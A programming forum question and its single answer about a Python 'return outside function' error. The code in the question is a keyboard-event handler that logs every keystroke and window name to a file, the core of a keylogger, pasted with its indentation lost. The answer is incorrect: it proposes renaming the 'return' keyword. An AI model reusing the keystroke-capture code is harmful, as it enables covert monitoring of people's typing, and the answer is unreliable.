Return outside function?

Question

Why do i get this error message?

code is:

...

"""if typing in new window"""

if(window_name != event.WindowName): #if typing in new window
if(line_buffer != ""): #if line buffer is not empty
line_buffer += '\n'
SaveLineToFile(line_buffer) #print to file: any non printed characters from old window
line_buffer = "" #clear the line buffer
SaveLineToFile('\n-----WindowName: ' + event.WindowName + '\n') #print to file: the new window name
window_name = event.WindowName #set the new window name

"""if return or tab key pressed"""

if(event.Ascii == 13 or event.Ascii == 9): #return key
line_buffer += '\n'
SaveLineToFile(line_buffer) #print to file: the line buffer
line_buffer = "" #clear the line buffer
return True #exit event

"""if backspace key pressed"""

if(event.Ascii == 8): #backspace key
line_buffer = line_buffer[:-1] #remove last character
return True #exit event

"""if non-normal ascii character"""

if(event.Ascii < 32 or event.Ascii > 126):
if(event.Ascii == 0): #unknown character (eg arrow key, shift, ctrl, alt)
pass #do nothing
else: line_buffer = line_buffer + '\n' + str(event.Ascii) + '\n'
else:
line_buffer += chr(event.Ascii) #add pressed character to line buffer

return True #pass event to other handlers

....

Answer 1

I'm not an expert, but "return" is a Python keyword and only can be used inside a function. So, I suggest you to change your "return" (that I believe is referred to return button) and replace it for something like return_button.
hope it helps